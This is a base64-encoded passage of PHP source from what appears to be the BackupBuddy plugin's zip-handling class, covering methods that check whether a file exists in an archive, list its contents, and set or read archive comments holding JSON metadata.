0aGVyIGEgZmlsZSAod2l0aCBwYXRoKSBleGlzdHMgaW4gdGhlIGdpdmVuIHppcCBmaWxlCgkJICoJSWYgbGVhdmVfb3BlbiBpcyB0cnVlIHRoZW4gdGhlIHppcCBvYmplY3Qgd2lsbCBiZSBsZWZ0IG9wZW4gZm9yIGZhc3RlciBjaGVja2luZyBmb3Igc3Vic2VxdWVudCBmaWxlcyB3aXRoaW4gdGhpcyB6aXAKCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkkemlwX2ZpbGUJCVRoZSB6aXAgZmlsZSB0byBjaGVjawoJCSAqCUBwYXJhbQkJc3RyaW5nCSRsb2NhdGVfZmlsZQlUaGUgZmlsZSB0byB0ZXN0IGZvcgoJCSAqCUBwYXJhbQkJYm9vbAkkbGVhdmVfb3BlbgkJT3B0aW9uYWw6IFRydWUgaWYgdGhlIHppcCBmaWxlIHNob3VsZCBiZSBsZWZ0IG9wZW4KCQkgKglAcmV0dXJuCQlib29sCQkJCQlUcnVlIGlmIHRoZSBmaWxlIGlzIGZvdW5kIGluIHRoZSB6aXAgb3RoZXJ3aXNlIGZhbHNlCgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gZmlsZV9leGlzdHMoICR6aXBfZmlsZSwgJGxvY2F0ZV9maWxlLCAkbGVhdmVfb3BlbiA9IGZhbHNlICkgewoJCQkJCQoJCQkkemlwX21ldGhvZHMgPSBhcnJheSgpOwoJCQkJCQkKCQkJJHppcF9tZXRob2RzID0gJHRoaXMtPl96aXBfbWV0aG9kczsKCQkJCgkJCS8vIEJldHRlciBtYWtlIHN1cmUgd2UgaGF2ZSBzb21lIGF2YWlsYWJsZSBtZXRob2RzCgkJCWlmICggZW1wdHkoICR6aXBfbWV0aG9kcyApICkgewoJCQkKCQkJCS8vIEhtbSwgd2UgZG9uJ3Qgc2VlbSB0byBoYXZlIGFueSBhdmFpbGFibGUgbWV0aG9kcywgb29wcywgYmVzdCBnbyBubyBmdXJ0aGVyCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdGYWlsZWQgdG8gY2hlY2sgZmlsZSBleGlzdHMgLSBubyBhdmFpbGFibGUgbWV0aG9kcy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkKCQkJCXJldHVybiBmYWxzZTsKCQkJCQoJCQl9CgkJCQkJCQoJCQkvLyBJdGVyYXRlIG92ZXIgdGhlIG1ldGhvZHMgLSBvbmNlIHdlIHN1Y2NlZWQganVzdCByZXR1cm4gZGlyZWN0bHkgb3RoZXJ3aXNlIGRyb3AgdGhyb3VnaAoJCQlmb3JlYWNoICggJHppcF9tZXRob2RzIGFzICRtZXRob2RfdGFnICkgewoJCQkKCQkJCS8vIEZpcnN0IG1ha2Ugc3VyZSB3ZSBjYW4gY2hlY2sgZmlsZSBleGlzdGVuY2Ugd2l0aCB0aGlzIG1ldGhvZCAoaWdub3JlIHNpbGVudGx5IGlmIG5vdCkKCQkJCS8vIE5vdGU6IGhhcyB0byBiZSBhYmxlIHRvIHVuemlwIGFzIHdlbGwgYnV0IGlmIHRoYXQgZnVuY3Rpb25hbGl0eSB3YXNuJ3QgYXZhaWxhYmxlIGluCgkJCQkvLyB0aGUgbWV0aG9kIHRoZSBpc19jaGVja2VyIGF0dHJpYnV0ZSB3aWxsIGhhdmUgYmVlbiBzZXQgZmFsc2UKCQkJCWlmICggJHRoaXMtPl96aXBfbWV0aG9kc19kZXRhaWxzWyAkbWV0aG9kX3RhZyBdWyAnYXR0cicgXVsgJ2lzX2NoZWNrZXInIF0gPT09IHRydWUgKSB7CgoJCQkJCSRjbGFzc19uYW1lID0gJ3BsdWdpbmJ1ZGR5X3piemlwJyAuICRtZXRob2RfdGFnOwoJCQoJCQkJCSR6aXBwZXIgPSBuZXcgJGNsYXNzX25hbWUoICR0aGlzICk7CgkJCQkJCgkJCQkJLy8gV2UgbmVlZCB0byB0ZWxsIHRoZSBtZXRob2Qgd2hhdCBkZXRhaWxzIGJlbG9uZyB0byBpdAoJCQkJCSR6aXBwZXItPnNldF9tZXRob2RfZGV0YWlscyggJHRoaXMtPl96aXBfbWV0aG9kc19kZXRhaWxzWyAkbWV0aG9kX3RhZyBdICk7CgkJCQkJCQkJCQkKCQkJCQkvLyBOb3cgd2UgYXJlIHJlYWR5IHRvIHRyeSBhbmQgdGVzdCBmb3IgdGhlIGZpbGUgZXhpc3RlbmNlCgkJCQkJJHJlc3VsdCA9ICR6aXBwZXItPmZpbGVfZXhpc3RzKCAkemlwX2ZpbGUsICRsb2NhdGVfZmlsZSwgJGxlYXZlX29wZW4gKTsKCQkJCQkKCQkJCQkvLyBXaWxsIGJlIHRydWUvZmFsc2UgaWYgZmlsZSBmb3VuZC9ub3QtZm91bmQgb3RoZXJ3aXNlIGVycm9yIGluZm9ybWF0aW9uIGFycmF5CgkJCQkJaWYgKCAhaXNfYXJyYXkoICRyZXN1bHQgKSApIHsKCQkJCQkKCQkJCQkJLy8gRWl0aGVyIHdlIGZvdW5kIHRoZSBmaWxlIG9yIHdlIGRpZG4ndCBidXQgd2UgaGF2ZSBhIHZhbGlkIHJlc3VsdAoJCQkJCQl1bnNldCggJHppcHBlciApOwoJCQkJCQkKCQkJCQkJLy8gV2UgaGF2ZSB0byByZXR1cm4gaGVyZSBiZWNhdXNlIHdlIGNhbm5vdCBicmVhayBvdXQgb2YgZm9yZWFjaAoJCQkJCQlyZXR1cm4gJHJlc3VsdDsKCQoJCQkJCX0gZWxzZSB7CgkJCQkJCgkJCQkJCS8vIFRoZSB6aXBwZXIgZW5jb3VudGVyZWQgYW4gZXJyb3Igc28gd2UgbmVlZCB0byBkcm9wIHRocm91Z2ggYW5kIGxvb3Agcm91bmQgdG8gdHJ5IGFub3RoZXIKCQkJCQkJLy8gV2UnbGwgbm90IHByb2Nlc3MgdGhlIHJlc3VsdCBoZXJlLCBqdXN0IGRyb3AgdGhyb3VnaCBzaWxlbnRseSAodGhlIG1ldGhvZCB3aWxsIGhhdmUgbG9nZ2VkIGl0KQkJCQoJCQkJCQl1bnNldCggJHppcHBlciApOwoJCQkJCQkKCQkJCQl9CgkJCQkKCQkJCX0KCQkJCQoJCQl9CgkJCQoJCQkvLyBJZiB3ZSBnb3QgdGhpcyBmYXIgdGhlbiBubyBtZXRob2QgdG8gY2hlY2sgYmFja3VwIGNvbnRlbnQgd2FzIGF2YWlsYWJsZSBvciB3b3JrZWQKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnVW5hYmxlIHRvIGNoZWNrIGlmIGZpbGUgZXhpc3RzIChsb29raW5nIGZvciAlMSRzIGluICUyJHMpOiBObyBjb21wYXRpYmxlIHppcCBtZXRob2QgZm91bmQuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJGxvY2F0ZV9maWxlLCAkemlwX2ZpbGUgKSApOwoJCQlyZXR1cm4gZmFsc2U7CgkJCQoJCX0KCQkJCQoJCS8qCWdldF9maWxlX2xpc3QoKQoJCSAqCQoJCSAqCUdldCBhbiBhcnJheSBvZiBhbGwgZmlsZXMgaW4gYSB6aXAgZmlsZSB3aXRoIHNvbWUgZmlsZSBwcm9wZXJ0aWVzLgoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCQkkemlwX2ZpbGUJVGhlIGZpbGUgdG8gbGlzdCB0aGUgY29udGVudCBvZgoJCSAqCUByZXR1cm4JCWJvb2x8YXJyYXkJCQkJZmFsc2Ugb24gZmFpbHVyZSwgb3RoZXJ3aXNlIGFycmF5IG9mIGZpbGUgcHJvcGVydGllcyAobWF5IGJlIGVtcHR5KQoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBnZXRfZmlsZV9saXN0KCAkemlwX2ZpbGUgKSB7CgoJCQkkemlwX21ldGhvZHMgPSBhcnJheSgpOwoJCQkJCQkKCQkJJHppcF9tZXRob2RzID0gJHRoaXMtPl96aXBfbWV0aG9kczsKCQkJCgkJCS8vIEJldHRlciBtYWtlIHN1cmUgd2UgaGF2ZSBzb21lIGF2YWlsYWJsZSBtZXRob2RzCgkJCWlmICggZW1wdHkoICR6aXBfbWV0aG9kcyApICkgewoJCQkKCQkJCS8vIEhtbSwgd2UgZG9uJ3Qgc2VlbSB0byBoYXZlIGFueSBhdmFpbGFibGUgbWV0aG9kcywgb29wcywgYmVzdCBnbyBubyBmdXJ0aGVyCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdGYWlsZWQgdG8gbGlzdCBiYWNrdXAgZmlsZSBjb250ZW50cyAtIG5vIGF2YWlsYWJsZSBtZXRob2RzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQoJCQkJcmV0dXJuIGZhbHNlOwoJCQkJCgkJCX0KCQkJCQkJCgkJCS8vIEl0ZXJhdGUgb3ZlciB0aGUgbWV0aG9kcyAtIG9uY2Ugd2Ugc3VjY2VlZCBqdXN0IHJldHVybiBkaXJlY3RseSBvdGhlcndpc2UgZHJvcCB0aHJvdWdoCgkJCWZvcmVhY2ggKCAkemlwX21ldGhvZHMgYXMgJG1ldGhvZF90YWcgKSB7CgkJCQoJCQkJLy8gRmlyc3QgbWFrZSBzdXJlIHdlIGNhbiBsaXN0IGJhY2t1cCBmaWxlIGNvbnRlbnQgd2l0aCB0aGlzIG1ldGhvZCAoaWdub3JlIHNpbGVudGx5IGlmIG5vdCkKCQkJCS8vIE5vdGU6IGhhcyB0byBiZSBhYmxlIHRvIHVuemlwIGFzIHdlbGwgYnV0IGlmIHRoYXQgZnVuY3Rpb25hbGl0eSB3YXNuJ3QgYXZhaWxhYmxlIGluCgkJCQkvLyB0aGUgbWV0aG9kIHRoZSBpc19saXN0ZXIgYXR0cmlidXRlIHdpbGwgaGF2ZSBiZWVuIHNldCBmYWxzZQoJCQkJaWYgKCAkdGhpcy0+X3ppcF9tZXRob2RzX2RldGFpbHNbICRtZXRob2RfdGFnIF1bICdhdHRyJyBdWyAnaXNfbGlzdGVyJyBdID09PSB0cnVlICkgewoKCQkJCQkkY2xhc3NfbmFtZSA9ICdwbHVnaW5idWRkeV96YnppcCcgLiAkbWV0aG9kX3RhZzsKCQkKCQkJCQkkemlwcGVyID0gbmV3ICRjbGFzc19uYW1lKCAkdGhpcyApOwoJCQkJCQoJCQkJCS8vIFdlIG5lZWQgdG8gdGVsbCB0aGUgbWV0aG9kIHdoYXQgZGV0YWlscyBiZWxvbmcgdG8gaXQKCQkJCQkkemlwcGVyLT5zZXRfbWV0aG9kX2RldGFpbHMoICR0aGlzLT5femlwX21ldGhvZHNfZGV0YWlsc1sgJG1ldGhvZF90YWcgXSApOwoJCQkJCQkJCQkJCgkJCQkJLy8gTm93IHdlIGFyZSByZWFkeSB0byB0cnkgYW5kIHRlc3QgZm9yIHRoZSBmaWxlIGV4aXN0ZW5jZQoJCQkJCSRyZXN1bHQgPSAkemlwcGVyLT5nZXRfZmlsZV9saXN0KCAkemlwX2ZpbGUgKTsKCQkJCQkKCQkJCQkvLyBXaWxsIGJlIGZhbHNlIGlmIHdlIGNvdWxkbid0IGxpc3QgY29udGVudHMgb3IgZmlsZSBsaXN0IGFycmF5IG90aGVyd2lzZQoJCQkJCWlmICggaXNfYXJyYXkoICRyZXN1bHQgKSApIHsKCQkJCQkKCQkJCQkJLy8gV2UgZ290IGEgbGlzdCBzbyBiZXR0ZXIgYXNzdW1lIGl0IGlzIG9rCgkJCQkJCXVuc2V0KCAkemlwcGVyICk7CgkJCQkJCQoJCQkJCQkvLyBXZSBoYXZlIHRvIHJldHVybiBoZXJlIGJlY2F1c2Ugd2UgY2Fubm90IGJyZWFrIG91dCBvZiBmb3JlYWNoCgkJCQkJCXJldHVybiAkcmVzdWx0OwoJCgkJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQkJLy8gVGhlIHppcHBlciBlbmNvdW50ZXJlZCBhbiBlcnJvciBzbyB3ZSBuZWVkIHRvIGRyb3AgdGhyb3VnaCBhbmQgbG9vcCByb3VuZCB0byB0cnkgYW5vdGhlcgoJCQkJCQkvLyBXZSdsbCBub3QgcHJvY2VzcyB0aGUgcmVzdWx0IGhlcmUsIGp1c3QgZHJvcCB0aHJvdWdoIHNpbGVudGx5ICh0aGUgbWV0aG9kIHdpbGwgaGF2ZSBsb2dnZWQgaXQpCQkJCgkJCQkJCXVuc2V0KCAkemlwcGVyICk7CgkJCQkJCQoJCQkJCX0KCQkJCQoJCQkJfQoJCQkJCgkJCX0KCQkJCgkJCS8vIElmIHdlIGdvdCB0aGlzIGZhciB0aGVuIG5vIG1ldGhvZCB0byBsaXN0IGJhY2t1cCBmaWxlIGNvbnRlbnQgd2FzIGF2YWlsYWJsZSBvciB3b3JrZWQKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnVW5hYmxlIHRvIGNoZWNrIGZpbGUgY29udGVudCBvZiBiYWNrdXAgKCUxJHMpOiBObyBjb21wYXRpYmxlIHppcCBtZXRob2QgZm91bmQuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlICkgKTsKCQkJcmV0dXJuIGZhbHNlOwoJCQkKCQl9CgkJCgkJLyoJc2V0X2NvbW1lbnQoKQoJCSAqCQoJCSAqCVJldHJpZXZlIGFyY2hpdmUgY29tbWVudC4KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkJCSR6aXBfZmlsZQkJRmlsZW5hbWUgb2YgYXJjaGl2ZSB0byBzZXQgY29tbWVudCBvbi4KCQkgKglAcGFyYW0JCXN0cmluZ3xhcnJheQkkY29tbWVudAkJQ29tbWVudCB0byBhcHBseSB0byBhcmNoaXZlLiBJZiBhcnJheSwganNvbiBlbmNvZGVkLiBEZWxpbWluYXRlZCB3aXRoIE1ldGFEYXRhOiBhbmQgTWV0YURhdGEtRW5kOi4KCQkgKglAcmV0dXJuCQlib29sfHN0cmluZwkJCQkJCXRydWUgb24gc3VjY2VzcywgZXJyb3IgbWVzc2FnZSBvdGhlcndpc2UuCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIHNldF9jb21tZW50KCAkemlwX2ZpbGUsICRjb21tZW50ICkgewoJCQkKCQkJJHppcF9tZXRob2RzID0gYXJyYXkoKTsKCQkJCQkJCgkJCSR6aXBfbWV0aG9kcyA9ICR0aGlzLT5femlwX21ldGhvZHM7CgkJCQoJCQkvLyBCZXR0ZXIgbWFrZSBzdXJlIHdlIGhhdmUgc29tZSBhdmFpbGFibGUgbWV0aG9kcwoJCQlpZiAoIGVtcHR5KCAkemlwX21ldGhvZHMgKSApIHsKCQkJCgkJCQkvLyBIbW0sIHdlIGRvbid0IHNlZW0gdG8gaGF2ZSBhbnkgYXZhaWxhYmxlIG1ldGhvZHMsIG9vcHMsIGJlc3QgZ28gbm8gZnVydGhlcgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnRmFpbGVkIHRvIHNldCBjb21tZW50IGluIGJhY2t1cCBmaWxlIC0gbm8gYXZhaWxhYmxlIG1ldGhvZHMuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCgkJCQlyZXR1cm4gZmFsc2U7CgkJCQkKCQkJfQoJCQkKCQkJLy8gRW5jb2RlICRjb21tZW50IGlmIGFuIGFycmF5LiBIYW5kbGUgZGVsaW1pbmF0aW9uLgoJCQlpZiAoIGlzX2FycmF5KCAkY29tbWVudCApICkgewoJCQkJJGNvbW1lbnQgPSBqc29uX2VuY29kZSggJGNvbW1lbnQgKTsKCQkJfQoJCQkkY29tbWVudCA9ICdNZXRhRGF0YTonIC4gJGNvbW1lbnQgLiAnTWV0YURhdGEtRW5kOic7CgkJCQoJCQkvLyBJdGVyYXRlIG92ZXIgdGhlIG1ldGhvZHMgLSBvbmNlIHdlIHN1Y2NlZWQganVzdCByZXR1cm4gZGlyZWN0bHkgb3RoZXJ3aXNlIGRyb3AgdGhyb3VnaAoJCQlmb3JlYWNoICggJHppcF9tZXRob2RzIGFzICRtZXRob2RfdGFnICkgewoJCQkJCQoJCQkJLy8gRmlyc3QgbWFrZSBzdXJlIHdlIGNhbiBtYW5hZ2UgY29tbWVudHMgd2l0aCB0aGlzIG1ldGhvZCAoaWdub3JlIHNpbGVudGx5IGlmIG5vdCkKCQkJCWlmICggJHRoaXMtPl96aXBfbWV0aG9kc19kZXRhaWxzWyAkbWV0aG9kX3RhZyBdWyAnYXR0cicgXVsgJ2lzX2NvbW1lbnRlcicgXSA9PT0gdHJ1ZSApIHsKCQkJCQkKCQkJCQkkY2xhc3NfbmFtZSA9ICdwbHVnaW5idWRkeV96YnppcCcgLiAkbWV0aG9kX3RhZzsKCQkJCQkKCQkJCQkkemlwcGVyID0gbmV3ICRjbGFzc19uYW1lKCAkdGhpcyApOwoJCQkJCQoJCQkJCS8vIFdlIG5lZWQgdG8gdGVsbCB0aGUgbWV0aG9kIHdoYXQgZGV0YWlscyBiZWxvbmcgdG8gaXQKCQkJCQkkemlwcGVyLT5zZXRfbWV0aG9kX2RldGFpbHMoICR0aGlzLT5femlwX21ldGhvZHNfZGV0YWlsc1sgJG1ldGhvZF90YWcgXSApOwoJCQkJCQkJCQkJCgkJCQkJLy8gTm93IHdlIGFyZSByZWFkeSB0byB0cnkgYW5kIHRlc3QgZm9yIHRoZSBmaWxlIGV4aXN0ZW5jZQoJCQkJCSRyZXN1bHQgPSAkemlwcGVyLT5zZXRfY29tbWVudCggJHppcF9maWxlLCAkY29tbWVudCApOwoJCQkJCQoJCQkJCS8vIFdpbGwgYmUgZmFsc2UgaWYgd2UgY291bGRuJ3Qgc2V0IHRoZSBjb21tZW50CgkJCQkJaWYgKCAkcmVzdWx0ID09PSB0cnVlICkgewoJCQkJCQoJCQkJCQkvLyBNdXN0IGFzc3VtZSB0aGF0IGNvbW1lbnQgd2FzIHNldCBvawoJCQkJCQl1bnNldCggJHppcHBlciApOwoJCQkJCQkKCQkJCQkJLy8gV2UgaGF2ZSB0byByZXR1cm4gaGVyZSBiZWNhdXNlIHdlIGNhbm5vdCBicmVhayBvdXQgb2YgZm9yZWFjaAoJCQkJCQlyZXR1cm4gdHJ1ZTsKCQoJCQkJCX0gZWxzZSB7CgkJCQkJCgkJCQkJCS8vIFRoZSB6aXBwZXIgZW5jb3VudGVyZWQgYW4gZXJyb3Igc28gd2UgbmVlZCB0byBkcm9wIHRocm91Z2ggYW5kIGxvb3Agcm91bmQgdG8gdHJ5IGFub3RoZXIKCQkJCQkJLy8gV2UnbGwgbm90IHByb2Nlc3MgdGhlIHJlc3VsdCBoZXJlLCBqdXN0IGRyb3AgdGhyb3VnaCBzaWxlbnRseSAodGhlIG1ldGhvZCB3aWxsIGhhdmUgbG9nZ2VkIGl0KQkJCQoJCQkJCQl1bnNldCggJHppcHBlciApOwoJCQkJCQkKCQkJCQl9CgkJCQkKCQkJCX0KCQkJCQoJCQl9CgkJCQoJCQkvLyBJZiB3ZSBnb3QgdGhpcyBmYXIgdGhlbiBjb3VsZG4ndCBzZXQgYSBjb21tZW50IGF0IGFsbCAtIGVpdGhlciBubyBhdmFpbGFibGUgbWV0aG9kIG9yIGFsbCBtZXRob2QgZmFpbGVkCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ1VuYWJsZSB0byBzZXQgY29tbWVudCBpbiBmaWxlICUxJHM6IE5vIGNvbXBhdGlibGUgemlwIG1ldGhvZCBmb3VuZCBvciBhbGwgbWV0aG9kcyBmYWlsZWQgLSBub3RlIHN0b3JlZCBpbnRlcm5hbGx5IG9ubHkuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlICkgKTsKCgkJCS8vIFJldHVybiBtZXNzYWdlIGZvciBkaXNwbGF5IC0gbWF5YmUgc2hvdWxkIHJldHVybiBmYWxzZSBhbmQgaGF2ZSBjYWxsZXIgZGlzcGxheSBpdCdzIG93biBtZXNzYWdlPwoJCQkkbWVzc2FnZSA9ICJcblxuVW5hYmxlIHRvIHNldCBub3RlIGluIGZpbGUuXG5UaGUgbm90ZSB3aWxsIG9ubHkgYmUgc3RvcmVkIGludGVybmFsbHkgaW4geW91ciBzZXR0aW5ncyBhbmQgbm90IGluIHRoZSB6aXAgZmlsZSBpdHNlbGYuIjsKCQkJcmV0dXJuICRtZXNzYWdlOwoJCQkKCQl9CgkJCgkJLyoJZ2V0X2NvbW1lbnQoKQoJCSAqCQoJCSAqCVJldHJpZXZlIGFyY2hpdmUgY29tbWVudC4KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkJCQkkemlwX2ZpbGUJCUZpbGVuYW1lIG9mIGFyY2hpdmUgdG8gcmV0cmlldmUgY29tbWVudCBmcm9tLgoJCSAqCUBwYXJhbQkJYm9vbAkJCQkkcmF3X2NvbW1lbnQJSWYgdHJ1ZSB0aGVuIHJhdyBjb21tZW50IGZpZWxkIGRhdGEgcmV0dXJuZWQgd2l0aG91dCBwcm9jZXNzaW5nIGRlbGltaW5hdG9ycyBub3IganNvbi4gRGVmYXVsdHMgZmFsc2UuCgkJICoJQHJldHVybgkJYm9vbHxzdHJpbmd8YXJyYXkJCQkJCWZhbHNlIG9uIGZhaWx1cmUsIFppcCBjb21tZW50IG90aGVyd2lzZS4gSWYgY29tbWVudCBpcyBqc29uIGVuY29kZWQgYXJyYXkgcmV0dXJucyBhcnJheS4KCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gZ2V0X2NvbW1lbnQoICR6aXBfZmlsZSwgJHJhd19jb21tZW50ID0gZmFsc2UgKSB7CgkJCQoJCQkkemlwX21ldGhvZHMgPSBhcnJheSgpOwoJCQkJCQkKCQkJJHppcF9tZXRob2RzID0gJHRoaXMtPl96aXBfbWV0aG9kczsKCQkJCgkJCS8vIEJldHRlciBtYWtlIHN1cmUgd2UgaGF2ZSBzb21lIGF2YWlsYWJsZSBtZXRob2RzCgkJCWlmICggZW1wdHkoICR6aXBfbWV0aG9kcyApICkgewoJCQkJCgkJCQkvLyBIbW0sIHdlIGRvbid0IHNlZW0gdG8gaGF2ZSBhbnkgYXZhaWxhYmxlIG1ldGhvZHMsIG9vcHMsIGJlc3QgZ28gbm8gZnVydGhlcgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnRmFpbGVkIHRvIGdldCBjb21tZW50IGZyb20gYmFja3VwIGZpbGUgLSBubyBhdmFpbGFibGUgbWV0aG9kcy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkKCQkJCXJldHVybiBmYWxzZTsKCQkJCQoJCQl9CgkJCQoJCQkvLyBJdGVyYXRlIG92ZXIgdGhlIG1ldGhvZHMgLSBvbmNlIHdlIHN1Y2NlZWQganVzdCByZXR1cm4gZGlyZWN0bHkgb3RoZXJ3aXNlIGRyb3AgdGhyb3VnaAoJCQlmb3JlYWNoICggJHppcF9tZXRob2RzIGFzICRtZXRob2RfdGFnICkgewoJCQkKCQkJCS8vIEZpcnN0IG1ha2Ugc3VyZSB3ZSBjYW4gbWFuYWdlIGNvbW1lbnRzIHdpdGggdGhpcyBtZXRob2QgKGlnbm9yZSBzaWxlbnRseSBpZiBub3QpCgkJCQlpZiAoICR0aGlzLT5femlwX21ldGhvZHNfZGV0YWlsc1sgJG1ldGhvZF90YWcgXVsgJ2F0dHInIF1bICdpc19jb21tZW50ZXInIF0gPT09IHRydWUgKSB7CgkJCQkJCgkJCQkJJGNsYXNzX25hbWUgPSAncGx1Z2luYnVkZHlfemJ6aXAnIC4gJG1ldGhvZF90YWc7CgkJCQkJCgkJCQkJJHppcHBlciA9IG5ldyAkY2xhc3NfbmFtZSggJHRoaXMgKTsKCQkJCQkKCQkJCQkvLyBXZSBuZWVkIHRvIHRlbGwgdGhlIG1ldGhvZCB3aGF0IGRldGFpbHMgYmVsb25nIHRvIGl0CgkJCQkJJHppcHBlci0+c2V0X21ldGhvZF9kZXRhaWxzKCAkdGhpcy0+X3ppcF9tZXRob2RzX2RldGFpbHNbICRtZXRob2RfdGFnIF0gKTsKCQkJCQkJCQkJCQoJCQkJCS8vIE5vdyB3ZSBhcmUgcmVhZHkgdG8gdHJ5IGFuZCB0ZXN0IGZvciB0aGUgZmlsZSBleGlzdGVuY2UKCQkJCQkkcmVzdWx0ID0gJHppcHBlci0+Z2V0X2NvbW1lbnQoICR6aXBfZmlsZSApOwoJCQkJCQoJCQkJCS8vIFdpbGwgYmUgZmFsc2UgaWYgd2UgY291bGRuJ3Qgc2V0IHRoZSBjb21tZW50CgkJCQkJaWYgKCBpc19zdHJpbmcgKCAkcmVzdWx0ICkgKSB7CgkJCQkJCgkJCQkJCS8vIEZvcm1hdCBoYXMgY2hhbmdlZCBhbmQgbm8gbG9uZ2VyIGVuY29kaW5nIGFzIGh0bWxlbXRpdGllcyB3aGVuIHNldHRpbmcgY29tbWVudAoJCQkJCQkvLyBGb3Igb2xkZXIgYmFja3VwcyBtYXkgbmVlZCB0byByZW1vdmUgZW5jb2RpbmcgLSBhY3Rpb24gX3Nob3VsZF8gYmUgbnVsbCBpZiBOL0EKCQkJCQkJLy8gT25seSBzcGFubmVyIHdvdWxkIGJlIGlmIHNvbWVvbmUgaGFkIHB1dCBhbiBlbnRpdHkgaW4gdGhlaXIgY29tbWVudCBidXQgdGhhdCBpcwoJCQkJCQkvLyByZWFsbHkgYW4gb3V0c2lkZXIgYW5kIGluIGFueSBjYXNlIHRoZSBjb3JyZWN0aW9uIGlzIHNpbXBseSB0byBlZGl0IGFuZCByZXNhdmUKCQkJCQkJLy8gVE9ETzogUmVtb3ZlIHRoaXMgd2hlbiBuZXcgZm9ybWF0IGhhcyBiZWVuIGluIHVzZSBmb3Igc29tZSB0aW1lCgkJCQkJCSRyZXN1bHQgPSBodG1sX2VudGl0eV9kZWNvZGUoICRyZXN1bHQgKTsKCQkJCQkKCQkJCQkJLy8gTXVzdCBhc3N1bWUgdGhhdCBjb21tZW50IHdhcyByZXRyaWV2ZWQgb2sKCQkJCQkJdW5zZXQoICR6aXBwZXIgKTsKCQkJCQkJCgkJCQkJCS8vIFJldHVybiByYXcgY29tbWVudCBhcy1pcyB3aXRoIG5vIHByb2Nlc3NpbmcgaWYgc3BlY2lmaWVkLgoJCQkJCQlpZiAoIHRydWUgPT09ICRyYXdfY29tbWVudCApIHsKCQkJCQkJCXJldHVybiAkcmVzdWx0OwoJCQkJCQl9CgkJCQkJCQoJCQkJCQkvLyBIYW5kbGUgZGVsaW1pbmF0aW9uLiBEZWNvZGUgJHJlc3VsdCBpZiBqc29uIGRlY29kZWQgKGFzc29jaWF0aXZlIGFycmF5IG1vZGUpLgoJCQkJCQkkc3RhcnRfZGVsaW1pbmF0b3IgPSBzdHJwb3MoICRyZXN1bHQsICdNZXRhRGF0YTonICk7CgkJCQkJCSRlbmRfZGVsaW1pbmF0b3IgPSBzdHJwb3MoICRyZXN1bHQsICdNZXRhRGF0YS1FbmQ6JyApOwoJCQkJCQlpZiAoICggZmFsc2UgIT09ICRzdGFydF9kZWxpbWluYXRvciApICYmICggZmFsc2UgIT09ICRlbmRfZGVsaW1pbmF0b3IgKSApIHsgLy8gRm91bmQgYm90aCBkZWxpbWluYXRvcnMuCgkJCQkJCQkkcmVzdWx0ID0gc3Vic3RyKCAkcmVzdWx0LCAkc3RhcnRfZGVsaW1pbmF0b3IrOSwgJGVuZF9kZWxpbWluYXRvci05ICk7CgkJCQkJCQlpZiAoIE5VTEwgPT09ICggJGRlY29kZWRfcmVzdWx0ID0ganNvbl9kZWNvZGUoICRyZXN1bHQsIHRydWUgKSApICkgeyAvLyBKc29uIGRlY29kZSBmYWlsZWQgc28gcmV0dXJuIHN0cmluZy4KCQkJCQkJCQlyZXR1cm4gJHJlc3VsdDsKCQkJCQkJCX0gZWxzZSB7IC8vIEpzb24gZGVjb2RlIHN1Y2Nlc3Mgc28gcmV0dXJuaW5nIHZhcmlhYmxlIChzaG91bGQgYmUgYW4gYXJyYXkgbW9zdCBsaWtlbHkpLgoJCQkJCQkJCXJldHVybiAkZGVjb2RlZF9yZXN1bHQ7CgkJCQkJCQl9CgkJCQkJCQkKCQkJCQkJfQoJCQkJCQkKCQkJCQkJLy8gTm8gZGVsaW1pbmF0b3JzIGZvdW5kIGlmIG1hZGUgaXQgdG8gdGhpcyBwb2ludCBzbyBhc3N1bWluZyBwbGFpbiB0ZXh0IGxlZ2FjeSBjb21tZW50IChvciBkZWxpbWluYXRvcnMgbWlzc2luZy9jb3JydXB0KS4KCQkJCQkJCgkJCQkJCS8vIFdlIGhhdmUgdG8gcmV0dXJuIGhlcmUgYmVjYXVzZSB3ZSBjYW5ub3QgYnJlYWsgb3V0IG9mIGZvcmVhY2gKCQkJCQkJcmV0dXJuICRyZXN1bHQ7CgkJCQkJCQoJCQkJCX0gZWxzZSB7CgkJCQkJCgkJCQkJCS8vIFRoZSB6aXBwZXIgZW5jb3VudGVyZWQgYW4gZXJyb3Igc28gd2UgbmVlZCB0byBkcm9wIHRocm91Z2ggYW5kIGxvb3Agcm91bmQgdG8gdHJ5IGFub3RoZXIKCQkJCQkJLy8gV2UnbGwgbm90IHByb2Nlc3MgdGhlIHJlc3VsdCBoZXJlLCBqdXN0IGRyb3AgdGhyb3VnaCBzaWxlbnRseSAodGhlIG1ldGhvZCB3aWxsIGhhdmUgbG9nZ2VkIGl0KQkJCQoJCQkJCQl1bnNldCggJHppcHBlciApOwoJCQkJCQ